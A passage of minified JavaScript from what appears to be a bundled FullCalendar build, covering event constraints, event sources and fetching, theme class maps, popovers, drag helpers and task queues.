s=e.prototype.buildRenderRange.call(this,t,n,r),a=this.msToUtcMoment(s.startMs,r),o=this.msToUtcMoment(s.endMs,r);return/^(year|month)$/.test(n)&&(a.startOf("week"),o.weekday()&&o.add(1,"week").startOf("week")),new i.default(a,o)},t}(n(55).default);t.default=s},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(5),i=n(12),s=n(36),a=n(6),o=n(19),d=function(){function e(e,t){this.eventManager=e,this._calendar=t}return e.prototype.opt=function(e){return this._calendar.opt(e)},e.prototype.isEventInstanceGroupAllowed=function(e){var t,n=e.getEventDef(),r=this.eventRangesToEventFootprints(e.getAllEventRanges()),i=this.getPeerEventInstances(n).map(o.eventInstanceToEventRange),s=this.eventRangesToEventFootprints(i),a=n.getConstraint(),d=n.getOverlap(),u=this.opt("eventAllow");for(t=0;t<r.length;t++)if(!this.isFootprintAllowed(r[t].componentFootprint,s,a,d,r[t].eventInstance))return!1;if(u)for(t=0;t<r.length;t++)if(!1===u(r[t].componentFootprint.toLegacy(this._calendar),r[t].getEventLegacy()))return!1;return!0},e.prototype.getPeerEventInstances=function(e){return this.eventManager.getEventInstancesWithoutId(e.id)},e.prototype.isSelectionFootprintAllowed=function(e){var t,n=this.eventManager.getEventInstances().map(o.eventInstanceToEventRange),r=this.eventRangesToEventFootprints(n);return!(!this.isFootprintAllowed(e,r,this.opt("selectConstraint"),this.opt("selectOverlap"))||(t=this.opt("selectAllow"))&&!1===t(e.toLegacy(this._calendar)))},e.prototype.isFootprintAllowed=function(e,t,n,r,i){var s,a;if(null!=n&&(s=this.constraintValToFootprints(n,e.isAllDay),!this.isFootprintWithinConstraints(e,s)))return!1;if(a=this.collectOverlapEventFootprints(t,e),!1===r){if(a.length)return!1}else if("function"==typeof r&&!function(e,t,n){var r;for(r=0;r<e.length;r++)if(!t(e[r].eventInstance.toLegacy(),n?n.toLegacy():null))return!1;return!0}(a,r,i))return!1;return!(i&&!function(e,t){var n,r,i,s=t.toLegacy();for(n=0;n<e.length;n++){if(!1===(i=(r=e[n].eventInstance).def.getOverlap()))return!1;if("function"==typeof i&&!i(r.toLegacy(),s))return!1}return!0}(a,i))},e.prototype.isFootprintWithinConstraints=function(e,t){var n;for(n=0;n<t.length;n++)if(this.footprintContainsFootprint(t[n],e))return!0;return!1},e.prototype.constraintValToFootprints=function(e,t){var n;return"businessHours"===e?this.buildCurrentBusinessFootprints(t):"object"==typeof e?(n=this.parseEventDefToInstances(e))?this.eventInstancesToFootprints(n):this.parseFootprints(e):null!=e?(n=this.eventManager.getEventInstancesWithId(e),this.eventInstancesToFootprints(n)):void 0},e.prototype.buildCurrentBusinessFootprints=function(e){var t=this._calendar.view,n=t.get("businessHourGenerator"),r=t.dateProfile.activeUnzonedRange,i=n.buildEventInstanceGroup(e,r);return i?this.eventInstancesToFootprints(i.eventInstances):[]},e.prototype.eventInstancesToFootprints=function(e){var t=e.map(o.eventInstanceToEventRange);return this.eventRangesToEventFootprints(t).map(o.eventFootprintToComponentFootprint)},e.prototype.collectOverlapEventFootprints=function(e,t){var n,r=[];for(n=0;n<e.length;n++)this.footprintsIntersect(t,e[n].componentFootprint)&&r.push(e[n]);return r},e.prototype.parseEventDefToInstances=function(e){var t=this.eventManager,n=s.default.parse(e,new a.default(this._calendar));return!!n&&n.buildInstances(t.currentPeriod.unzonedRange)},e.prototype.eventRangesToEventFootprints=function(e){var t,n=[];for(t=0;t<e.length;t++)n.push.apply(n,this.eventRangeToEventFootprints(e[t]));return n},e.prototype.eventRangeToEventFootprints=function(e){return[o.eventRangeToEventFootprint(e)]},e.prototype.parseFootprints=function(e){var t,n;return e.start&&((t=this._calendar.moment(e.start)).isValid()||(t=null)),e.end&&((n=this._calendar.moment(e.end)).isValid()||(n=null)),[new i.default(new r.default(t,n),t&&!t.hasTime()||n&&!n.hasTime())]},e.prototype.footprintContainsFootprint=function(e,t){return e.unzonedRange.containsRange(t.unzonedRange)},e.prototype.footprintsIntersect=function(e,t){return e.unzonedRange.intersectsWith(t.unzonedRange)},e}();t.default=d},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(19),s=n(20),a=n(54),o=n(6),d={start:"09:00",end:"17:00",dow:[1,2,3,4,5],rendering:"inverse-background"},u=function(){function e(e,t){this.rawComplexDef=e,this.calendar=t}return e.prototype.buildEventInstanceGroup=function(e,t){var n,r=this.buildEventDefs(e);if(r.length)return(n=new s.default(i.eventDefsToEventInstances(r,t))).explicitEventDef=r[0],n},e.prototype.buildEventDefs=function(e){var t,n=this.rawComplexDef,i=[],s=!1,a=[];for(!0===n?i=[{}]:r.isPlainObject(n)?i=[n]:r.isArray(n)&&(i=n,s=!0),t=0;t<i.length;t++)s&&!i[t].dow||a.push(this.buildEventDef(e,i[t]));return a},e.prototype.buildEventDef=function(e,t){var n=r.extend({},d,t);return e&&(n.start=null,n.end=null),a.default.parse(n,new o.default(this.calendar))},e}();t.default=u},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(4),s=n(21),a=n(13),o=n(5),d=n(20),u=function(){function e(e,t,n){this.pendingCnt=0,this.freezeDepth=0,this.stuntedReleaseCnt=0,this.releaseCnt=0,this.start=e,this.end=t,this.timezone=n,this.unzonedRange=new o.default(e.clone().stripZone(),t.clone().stripZone()),this.requestsByUid={},this.eventDefsByUid={},this.eventDefsById={},this.eventInstanceGroupsById={}}return e.prototype.isWithinRange=function(e,t){return!e.isBefore(this.start)&&!t.isAfter(this.end)},e.prototype.requestSources=function(e){this.freeze();for(var t=0;t<e.length;t++)this.requestSource(e[t]);this.thaw()},e.prototype.requestSource=function(e){var t=this,n={source:e,status:"pending",eventDefs:null};this.requestsByUid[e.uid]=n,this.pendingCnt+=1,e.fetch(this.start,this.end,this.timezone).then((function(e){"cancelled"!==n.status&&(n.status="completed",n.eventDefs=e,t.addEventDefs(e),t.pendingCnt--,t.tryRelease())}),(function(){"cancelled"!==n.status&&(n.status="failed",t.pendingCnt--,t.tryRelease())}))},e.prototype.purgeSource=function(e){var t=this.requestsByUid[e.uid];t&&(delete this.requestsByUid[e.uid],"pending"===t.status?(t.status="cancelled",this.pendingCnt--,this.tryRelease()):"completed"===t.status&&t.eventDefs.forEach(this.removeEventDef.bind(this)))},e.prototype.purgeAllSources=function(){var e,t,n=this.requestsByUid,r=0;for(e in n)"pending"===(t=n[e]).status?t.status="cancelled":"completed"===t.status&&r++;this.requestsByUid={},this.pendingCnt=0,r&&this.removeAllEventDefs()},e.prototype.getEventDefByUid=function(e){return this.eventDefsByUid[e]},e.prototype.getEventDefsById=function(e){var t=this.eventDefsById[e];return t?t.slice():[]},e.prototype.addEventDefs=function(e){for(var t=0;t<e.length;t++)this.addEventDef(e[t])},e.prototype.addEventDef=function(e){var t,n=this.eventDefsById,r=e.id,i=n[r]||(n[r]=[]),s=e.buildInstances(this.unzonedRange);for(i.push(e),this.eventDefsByUid[e.uid]=e,t=0;t<s.length;t++)this.addEventInstance(s[t],r)},e.prototype.removeEventDefsById=function(e){var t=this;this.getEventDefsById(e).forEach((function(e){t.removeEventDef(e)}))},e.prototype.removeAllEventDefs=function(){var e=r.isEmptyObject(this.eventDefsByUid);this.eventDefsByUid={},this.eventDefsById={},this.eventInstanceGroupsById={},e||this.tryRelease()},e.prototype.removeEventDef=function(e){var t=this.eventDefsById,n=t[e.id];delete this.eventDefsByUid[e.uid],n&&(i.removeExact(n,e),n.length||delete t[e.id],this.removeEventInstancesForDef(e))},e.prototype.getEventInstances=function(){var e,t=this.eventInstanceGroupsById,n=[];for(e in t)n.push.apply(n,t[e].eventInstances);return n},e.prototype.getEventInstancesWithId=function(e){var t=this.eventInstanceGroupsById[e];return t?t.eventInstances.slice():[]},e.prototype.getEventInstancesWithoutId=function(e){var t,n=this.eventInstanceGroupsById,r=[];for(t in n)t!==e&&r.push.apply(r,n[t].eventInstances);return r},e.prototype.addEventInstance=function(e,t){var n=this.eventInstanceGroupsById;(n[t]||(n[t]=new d.default)).eventInstances.push(e),this.tryRelease()},e.prototype.removeEventInstancesForDef=function(e){var t,n=this.eventInstanceGroupsById,r=n[e.id];r&&(t=i.removeMatching(r.eventInstances,(function(t){return t.def===e})),r.eventInstances.length||delete n[e.id],t&&this.tryRelease())},e.prototype.tryRelease=function(){this.pendingCnt||(this.freezeDepth?this.stuntedReleaseCnt++:this.release())},e.prototype.release=function(){this.releaseCnt++,this.trigger("release",this.eventInstanceGroupsById)},e.prototype.whenReleased=function(){var e=this;return this.releaseCnt?s.default.resolve(this.eventInstanceGroupsById):s.default.construct((function(t){e.one("release",t)}))},e.prototype.freeze=function(){this.freezeDepth++||(this.stuntedReleaseCnt=0)},e.prototype.thaw=function(){--this.freezeDepth||!this.stuntedReleaseCnt||this.pendingCnt||this.release()},e}();t.default=u,a.default.mixInto(u)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(4),s=n(219),a=n(56),o=n(6),d=n(38),u=n(9),l=n(20),c=n(13),h=n(7),m=function(){function e(e){this.calendar=e,this.stickySource=new a.default(e),this.otherSources=[]}return e.prototype.requestEvents=function(e,t,n,r){return!r&&this.currentPeriod&&this.currentPeriod.isWithinRange(e,t)&&n===this.currentPeriod.timezone||this.setPeriod(new s.default(e,t,n)),this.currentPeriod.whenReleased()},e.prototype.addSource=function(e){this.otherSources.push(e),this.currentPeriod&&this.currentPeriod.requestSource(e)},e.prototype.removeSource=function(e){i.removeExact(this.otherSources,e),this.currentPeriod&&this.currentPeriod.purgeSource(e)},e.prototype.removeAllSources=function(){this.otherSources=[],this.currentPeriod&&this.currentPeriod.purgeAllSources()},e.prototype.refetchSource=function(e){var t=this.currentPeriod;t&&(t.freeze(),t.purgeSource(e),t.requestSource(e),t.thaw())},e.prototype.refetchAllSources=function(){var e=this.currentPeriod;e&&(e.freeze(),e.purgeAllSources(),e.requestSources(this.getSources()),e.thaw())},e.prototype.getSources=function(){return[this.stickySource].concat(this.otherSources)},e.prototype.multiQuerySources=function(e){e?r.isArray(e)||(e=[e]):e=[];var t,n=[];for(t=0;t<e.length;t++)n.push.apply(n,this.querySources(e[t]));return n},e.prototype.querySources=function(e){var t,n,i=this.otherSources;for(t=0;t<i.length;t++)if((n=i[t])===e)return[n];return(n=this.getSourceById(o.default.normalizeId(e)))?[n]:(e=d.default.parse(e,this.calendar))?r.grep(i,(function(t){return n=t,e.getPrimitive()===n.getPrimitive();var n})):void 0},e.prototype.getSourceById=function(e){return r.grep(this.otherSources,(function(t){return t.id&&t.id===e}))[0]},e.prototype.setPeriod=function(e){this.currentPeriod&&(this.unbindPeriod(this.currentPeriod),this.currentPeriod=null),this.currentPeriod=e,this.bindPeriod(e),e.requestSources(this.getSources())},e.prototype.bindPeriod=function(e){this.listenTo(e,"release",(function(e){this.trigger("release",e)}))},e.prototype.unbindPeriod=function(e){this.stopListeningTo(e)},e.prototype.getEventDefByUid=function(e){if(this.currentPeriod)return this.currentPeriod.getEventDefByUid(e)},e.prototype.addEventDef=function(e,t){t&&this.stickySource.addEventDef(e),this.currentPeriod&&this.currentPeriod.addEventDef(e)},e.prototype.removeEventDefsById=function(e){this.getSources().forEach((function(t){t.removeEventDefsById(e)})),this.currentPeriod&&this.currentPeriod.removeEventDefsById(e)},e.prototype.removeAllEventDefs=function(){this.getSources().forEach((function(e){e.removeAllEventDefs()})),this.currentPeriod&&this.currentPeriod.removeAllEventDefs()},e.prototype.mutateEventsWithId=function(e,t){var n,r=this.currentPeriod,i=[];return r?(r.freeze(),(n=r.getEventDefsById(e)).forEach((function(e){r.removeEventDef(e),i.push(t.mutateSingle(e)),r.addEventDef(e)})),r.thaw(),function(){r.freeze();for(var e=0;e<n.length;e++)r.removeEventDef(n[e]),i[e](),r.addEventDef(n[e]);r.thaw()}):function(){}},e.prototype.buildMutatedEventInstanceGroup=function(e,t){var n,r,i=this.getEventDefsById(e),s=[];for(n=0;n<i.length;n++)(r=i[n].clone())instanceof u.default&&(t.mutateSingle(r),s.push.apply(s,r.buildInstances()));return new l.default(s)},e.prototype.freeze=function(){this.currentPeriod&&this.currentPeriod.freeze()},e.prototype.thaw=function(){this.currentPeriod&&this.currentPeriod.thaw()},e.prototype.getEventDefsById=function(e){return this.currentPeriod.getEventDefsById(e)},e.prototype.getEventInstances=function(){return this.currentPeriod.getEventInstances()},e.prototype.getEventInstancesWithId=function(e){return this.currentPeriod.getEventInstancesWithId(e)},e.prototype.getEventInstancesWithoutId=function(e){return this.currentPeriod.getEventInstancesWithoutId(e)},e}();t.default=m,c.default.mixInto(m),h.default.mixInto(m)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(n(22).default);t.default=i,i.prototype.classes={widget:"fc-unthemed",widgetHeader:"fc-widget-header",widgetContent:"fc-widget-content",buttonGroup:"fc-button-group",button:"fc-button",cornerLeft:"fc-corner-left",cornerRight:"fc-corner-right",stateDefault:"fc-state-default",stateActive:"fc-state-active",stateDisabled:"fc-state-disabled",stateHover:"fc-state-hover",stateDown:"fc-state-down",popoverHeader:"fc-widget-header",popoverContent:"fc-widget-content",headerRow:"fc-widget-header",dayRow:"fc-widget-content",listView:"fc-widget-content"},i.prototype.baseIconClass="fc-icon",i.prototype.iconClasses={close:"fc-icon-x",prev:"fc-icon-left-single-arrow",next:"fc-icon-right-single-arrow",prevYear:"fc-icon-left-double-arrow",nextYear:"fc-icon-right-double-arrow"},i.prototype.iconOverrideOption="buttonIcons",i.prototype.iconOverrideCustomButtonOption="icon",i.prototype.iconOverridePrefix="fc-icon-"},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(n(22).default);t.default=i,i.prototype.classes={widget:"ui-widget",widgetHeader:"ui-widget-header",widgetContent:"ui-widget-content",buttonGroup:"fc-button-group",button:"ui-button",cornerLeft:"ui-corner-left",cornerRight:"ui-corner-right",stateDefault:"ui-state-default",stateActive:"ui-state-active",stateDisabled:"ui-state-disabled",stateHover:"ui-state-hover",stateDown:"ui-state-down",today:"ui-state-highlight",popoverHeader:"ui-widget-header",popoverContent:"ui-widget-content",headerRow:"ui-widget-header",dayRow:"ui-widget-content",listView:"ui-widget-content"},i.prototype.baseIconClass="ui-icon",i.prototype.iconClasses={close:"ui-icon-closethick",prev:"ui-icon-circle-triangle-w",next:"ui-icon-circle-triangle-e",prevYear:"ui-icon-seek-prev",nextYear:"ui-icon-seek-next"},i.prototype.iconOverrideOption="themeButtonIcons",i.prototype.iconOverrideCustomButtonOption="themeIcon",i.prototype.iconOverridePrefix="ui-icon-"},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(21),a=n(6),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.parse=function(e,t){var n;return i.isFunction(e.events)?n=e:i.isFunction(e)&&(n={events:e}),!!n&&a.default.parse.call(this,n,t)},t.prototype.fetch=function(e,t,n){var r=this;return this.calendar.pushLoading(),s.default.construct((function(i){r.func.call(r.calendar,e.clone(),t.clone(),n,(function(e){r.calendar.popLoading(),i(r.parseEventDefs(e))}))}))},t.prototype.getPrimitive=function(){return this.func},t.prototype.applyManualStandardProps=function(t){var n=e.prototype.applyManualStandardProps.call(this,t);return this.func=t.events,n},t}(a.default);t.default=o,o.defineStandardProps({events:!1})},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(4),a=n(21),o=n(6),d=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.parse=function(e,t){var n;return"string"==typeof e.url?n=e:"string"==typeof e&&(n={url:e}),!!n&&o.default.parse.call(this,n,t)},t.prototype.fetch=function(e,n,r){var o=this,d=this.ajaxSettings,u=d.success,l=d.error,c=this.buildRequestParams(e,n,r);return this.calendar.pushLoading(),a.default.construct((function(e,n){i.ajax(i.extend({},t.AJAX_DEFAULTS,d,{url:o.url,data:c,success:function(t,r,a){var d;o.calendar.popLoading(),t?(d=s.applyAll(u,o,[t,r,a]),i.isArray(d)&&(t=d),e(o.parseEventDefs(t))):n()},error:function(e,t,r){o.calendar.popLoading(),s.applyAll(l,o,[e,t,r]),n()}}))}))},t.prototype.buildRequestParams=function(e,t,n){var r,s,a,o,d=this.calendar,u=this.ajaxSettings,l={};return null==(r=this.startParam)&&(r=d.opt("startParam")),null==(s=this.endParam)&&(s=d.opt("endParam")),null==(a=this.timezoneParam)&&(a=d.opt("timezoneParam")),o=i.isFunction(u.data)?u.data():u.data||{},i.extend(l,o),l[r]=e.format(),l[s]=t.format(),n&&"local"!==n&&(l[a]=n),l},t.prototype.getPrimitive=function(){return this.url},t.prototype.applyMiscProps=function(e){this.ajaxSettings=e},t.AJAX_DEFAULTS={dataType:"json",cache:!1},t}(o.default);t.default=d,d.defineStandardProps({url:!0,startParam:!0,endParam:!0,timezoneParam:!0})},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e){this.items=e||[]}return e.prototype.proxyCall=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var r=[];return this.items.forEach((function(n){r.push(n[e].apply(n,t))})),r},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(4),s=n(7),a=function(){function e(e,t){this.isFollowing=!1,this.isHidden=!1,this.isAnimating=!1,this.options=t=t||{},this.sourceEl=e,this.parentEl=t.parentEl?r(t.parentEl):e.parent()}return e.prototype.start=function(e){this.isFollowing||(this.isFollowing=!0,this.y0=i.getEvY(e),this.x0=i.getEvX(e),this.topDelta=0,this.leftDelta=0,this.isHidden||this.updatePosition(),i.getEvIsTouch(e)?this.listenTo(r(document),"touchmove",this.handleMove):this.listenTo(r(document),"mousemove",this.handleMove))},e.prototype.stop=function(e,t){var n=this,i=this.options.revertDuration,s=function(){n.isAnimating=!1,n.removeElement(),n.top0=n.left0=null,t&&t()};this.isFollowing&&!this.isAnimating&&(this.isFollowing=!1,this.stopListeningTo(r(document)),e&&i&&!this.isHidden?(this.isAnimating=!0,this.el.animate({top:this.top0,left:this.left0},{duration:i,complete:s})):s())},e.prototype.getEl=function(){var e=this.el;return e||((e=this.el=this.sourceEl.clone().addClass(this.options.additionalClass||"").css({position:"absolute",visibility:"",display:this.isHidden?"none":"",margin:0,right:"auto",bottom:"auto",width:this.sourceEl.width(),height:this.sourceEl.height(),opacity:this.options.opacity||"",zIndex:this.options.zIndex})).addClass("fc-unselectable"),e.appendTo(this.parentEl)),e},e.prototype.removeElement=function(){this.el&&(this.el.remove(),this.el=null)},e.prototype.updatePosition=function(){var e,t;this.getEl(),null==this.top0&&(e=this.sourceEl.offset(),t=this.el.offsetParent().offset(),this.top0=e.top-t.top,this.left0=e.left-t.left),this.el.css({top:this.top0+this.topDelta,left:this.left0+this.leftDelta})},e.prototype.handleMove=function(e){this.topDelta=i.getEvY(e)-this.y0,this.leftDelta=i.getEvX(e)-this.x0,this.isHidden||this.updatePosition()},e.prototype.hide=function(){this.isHidden||(this.isHidden=!0,this.el&&this.el.hide())},e.prototype.show=function(){this.isHidden&&(this.isHidden=!1,this.updatePosition(),this.getEl().show())},e}();t.default=a,s.default.mixInto(a)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(4),s=n(7),a=function(){function e(e){this.isHidden=!0,this.margin=10,this.options=e||{}}return e.prototype.show=function(){this.isHidden&&(this.el||this.render(),this.el.show(),this.position(),this.isHidden=!1,this.trigger("show"))},e.prototype.hide=function(){this.isHidden||(this.el.hide(),this.isHidden=!0,this.trigger("hide"))},e.prototype.render=function(){var e=this,t=this.options;this.el=r('<div class="fc-popover">').addClass(t.className||"").css({top:0,left:0}).append(t.content).appendTo(t.parentEl),this.el.on("click",".fc-close",(function(){e.hide()})),t.autoHide&&this.listenTo(r(document),"mousedown",this.documentMousedown)},e.prototype.documentMousedown=function(e){this.el&&!r(e.target).closest(this.el).length&&this.hide()},e.prototype.removeElement=function(){this.hide(),this.el&&(this.el.remove(),this.el=null),this.stopListeningTo(r(document),"mousedown")},e.prototype.position=function(){var e,t,n,s,a,o=this.options,d=this.el.offsetParent().offset(),u=this.el.outerWidth(),l=this.el.outerHeight(),c=r(window),h=i.getScrollParent(this.el);s=o.top||0,a=void 0!==o.left?o.left:void 0!==o.right?o.right-u:0,h.is(window)||h.is(document)?(h=c,e=0,t=0):(e=(n=h.offset()).top,t=n.left),e+=c.scrollTop(),t+=c.scrollLeft(),!1!==o.viewportConstrain&&(s=Math.min(s,e+h.outerHeight()-l-this.margin),s=Math.max(s,e+this.margin),a=Math.min(a,t+h.outerWidth()-u-this.margin),a=Math.max(a,t+this.margin)),this.el.css({top:s-d.top,left:a-d.left})},e.prototype.trigger=function(e){this.options[e]&&this.options[e].apply(this,Array.prototype.slice.call(arguments,1))},e}();t.default=a,s.default.mixInto(a)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(13),i=function(){function e(){this.q=[],this.isPaused=!1,this.isRunning=!1}return e.prototype.queue=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];this.q.push.apply(this.q,e),this.tryStart()},e.prototype.pause=function(){this.isPaused=!0},e.prototype.resume=function(){this.isPaused=!1,this.tryStart()},e.prototype.getIsIdle=function(){return!this.isRunning&&!this.isPaused},e.prototype.tryStart=function(){!this.isRunning&&this.canRunNext()&&(this.isRunning=!0,this.trigger("start"),this.runRemaining())},e.prototype.canRunNext=function(){return!this.isPaused&&this.q.length},e.prototype.runRemaining=function(){var e,t,n=this;do{if(e=this.q.shift(),(t=this.runTask(e))&&t.then)return void t.then((function(){n.canRunNext()&&n.runRemaining()}))}while(this.canRunNext());this.trigger("stop"),this.isRunning=!1,this.tryStart()},e.prototype.runTask=function(e){return e()},e}();t.default=i,r.default.mixInto(i)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=function(e){function t(t){var n=e.call(this)||this;return n.waitsByNamespace=t||{},n}return r.__extends(t,e),t.prototype.queue=function(e,t,n){var r,i={func:e,namespace:t,type:n};t&&(r=this.waitsByNamespace[t]),this.waitNamespace&&(t===this.waitNamespace&&null!=r?this.delayWait(r):(this.clearWait(),this.tryStart())),this.compoundTask(i)&&(this.waitNamespace||null==r?this.tryStart():this.startWait(t,r))},t.prototype.startWait=function(e,t){this.waitNamespace=e,this.spawnWait(t)},t.prototype.delayWait=function(e){clearTimeout(this.waitId),this.spawnWait(e)},t.prototype.spawnWait=function(e){var t=this;this.waitId=setTimeout((function(){t.waitNamespace=null,t.tryStart()}),e)},t.prototype.clearWait=function(){this.waitNamespace&&(clearTimeout(this.waitId),this.waitId=null,this.waitNamespace=null)},t.prototype.canRunNext=function(){if(!e.prototype.canRunNext.call(this))return!1;if(this.waitNamespace){for(var t=this.q,n=0;n<t.length;n++)if(t[n].namespace!==this.waitNamespace)return!0;return!1}return!0},t.prototype.runTask=function(e){e.func()},t.prototype.compoundTask=function(e){var t,n,r=this.q,i=!0;if(e.namespace&&"destroy"===e.type)for(t=r.length-1;t>=0;t--)if((n=r[t]).namespace===e.namespace)switch(n.type){case"init":i=!1;case"add":case"remove":r.splice(t,1)}return i&&r.push(e),i},t}(n(228).default);t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.setElement=function(e){this.el=e,this.bindGlobalHandlers(),this.renderSkeleton(),this.set("isInDom",!0)},t.prototype.removeElement=function(){this.unset("isInDom"),this.unrenderSkeleton(),this.unbindGlobalHandlers(),this.el.remove()},t.prototype.bindGlobalHandlers=function(){},t.prototype.unbindGlobalHandlers=function(){},t.prototype.renderSkeleton=function(){},t.prototype.unrenderSkeleton=function(){},t}(n(51).default);t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(0),a=n(4),o=n(11),d=n(49),u=n(230),l=n(19),c=function(e){function t(n,r){var i=e.call(this)||this;return i.isRTL=!1,i.hitsNeededDepth=0,i.hasAllDayBusinessHours=!1,i.isDatesRendered=!1,n&&(i.view=n),r&&(i.options=r),i.uid=String(t.guid++),i.childrenByUid={},i.nextDayThreshold=s.duration(i.opt("nextDayThreshold")),i.isRTL=i.opt("isRTL"),i.fillRendererClass&&(i.fillRenderer=new i.fillRendererClass(i)),i.eventRendererClass&&(i.eventRenderer=new i.eventRendererClass(i,i.fillRenderer)),i.helperRendererClass&&i.eventRenderer&&(i.helperRenderer=new i.helperRendererClass(i,i.eventRenderer)),i.businessHourRendererClass&&i.fillRenderer&&(i.businessHourRenderer=new i.businessHourRendererClass(i,i.fillRenderer)),i}return r.__extends(t,e),t.prototype.addChild=function(e){return!this.childrenByUid[e.uid]&&(this.childrenByUid[e.uid]=e,!0)},t.prototype.removeChild=function(e){return!!this.childrenByUid[e.uid]&&(delete this.childrenByUid[e.uid],!0)},t.prototype.updateSize=function(e,t,n){this.callChildren("updateSize",arguments)},t.prototype.opt=function(e){return this._getView().opt(e)},t.prototype.publiclyTrigger=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=this._getCalendar();return n.publiclyTrigger.apply(n,e)},t.prototype.hasPublicHandlers=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=this._getCalendar();return n.hasPublicHandlers.apply(n,e)},t.prototype.executeDateRender=function(e){this.dateProfile=e,this.renderDates(e),this.isDatesRendered=!0,this.callChildren("executeDateRender",arguments)},t.prototype.executeDateUnrender=function(){this.callChildren("executeDateUnrender",arguments),this.dateProfile=null,this.unrenderDates(),this.isDatesRendered=!1},t.prototype.renderDates=function(e){},t.prototype.unrenderDates=function(){},t.prototype.getNowIndicatorUnit=function(){},t.prototype.renderNowIndicator=function(e){this.callChildren("renderNowIndicator",arguments)},t.prototype.unrenderNowIndicator=function(){this.callChildren("unrenderNowIndicator",arguments)},t.prototype.renderBusinessHours=function(e){this.businessHourRenderer&&this.businessHourRenderer.render(e),this.callChildren("renderBusinessHours",arguments)},t.prototype.unrenderBusinessHours=function(){this.callChildren("unrenderBusinessHours",arguments),this.businessHourRenderer&&this.businessHourRenderer.unrender()},t.prototype.executeEventRender=function(e){this.eventRenderer?(this.eventRenderer.rangeUpdated(),this.eventRenderer.render(e)):this.renderEvents&&this.renderEvents(h(e)),this.callChildren("executeEventRender",arguments)},t.prototype.executeEventUnrender=function(){this.callChildren("executeEventUnrender",arguments),this.eventRenderer?this.eventRenderer.unrender():this.destroyEvents&&this.destroyEvents()},t.prototype.getBusinessHourSegs=function(){var e=this.getOwnBusinessHourSegs();return this.iterChildren((function(t){e.push.apply(e,t.getBusinessHourSegs())})),e},t.prototype.getOwnBusinessHourSegs=function(){return this.businessHourRenderer?this.businessHourRenderer.getSegs():[]},t.prototype.getEventSegs=function(){var e=this.getOwnEventSegs();return this.iterChildren((function(t){e.push.apply(e,t.getEventSegs())})),e},t.prototype.getOwnEventSegs=function(){return this.eventRenderer?this.eventRenderer.getSegs():[]},t.prototype.triggerAfterEventsRendered=function(){this.triggerAfterEventSegsRendered(this.getEventSegs()),this.publiclyTrigger("eventAfterAllRender",{context:this,args:[this]})},t.prototype.triggerAfterEventSegsRendered=function(e){var t=this;this.hasPublicHandlers("eventAfterRender")&&e.forEach((function(e){var n;e.el&&(n=e.footprint.getEventLegacy(),t.publiclyTrigger("eventAfterRender",{context:n,args:[n,e.el,t]}))}))},t.prototype.triggerBeforeEventsDestroyed=function(){this.triggerBeforeEventSegsDestroyed(this.getEventSegs())},t.prototype.triggerBeforeEventSegsDestroyed=function(e){var t=this;this.hasPublicHandlers("eventDestroy")&&e.forEach((function(e){var n;e.el&&(n=e.footprint.getEventLegacy(),t.publiclyTrigger("eventDestroy",{context:n,args:[n,e.el,t]}))}))},t.prototype.showEventsWithId=function(e){this.getEventSegs().forEach((function(t){t.footprint.eventDef.id===e&&t.el&&t.el.css("visibility","")})),this.callChildren("showEventsWithId",arguments)},t.prototype.hideEventsWithId=function(e){this.getEventSegs().forEach((function(t){t.footprint.eventDef.id===e&&t.el&&t.el.css("visibility","hidden")})),this.callChildren("hideEventsWithId",arguments)},t.prototype.renderDrag=function(e,t,n){var r=!1;return this.iterChildren((function(i){i.renderDrag(e,t,n)&&(r=!0)})),r},t.prototype.unrenderDrag=function(){this.callChildren("unrenderDrag",arguments)},t.prototype.renderEventResize=function(e,t,n){this.callChildren("renderEventResize",arguments)},t.prototype.unrenderEventResize=function(){this.callChildren("unrenderEventResize",arguments)},t.prototype.renderSelectionFootprint=function(e){this.renderHighlight(e),this.callChildren("renderSelectionFootprint",arguments)},t.prototype.unrenderSelection=function(){this.unrenderHighlight(),this.callChildren("unrenderSelection",arguments)},t.prototype.renderHighlight=function(e){this.fillRenderer&&this.fillRenderer.renderFootprint("highlight",e,{getClasses:function(){return["fc-highlight"]}}),this.callChildren("renderHighlight",arguments)},t.prototype.unrenderHighlight=function(){this.fillRenderer&&this.fillRenderer.unrender("highlight"),this.callChildren("unrenderHighlight",arguments)},t.prototype.hitsNeeded=function(){this.hitsNeededDepth++||this.prepareHits(),this.callChildren("hitsNeeded",arguments)},t.prototype.hitsNotNeeded=function(){this.hitsNeededDepth&&!-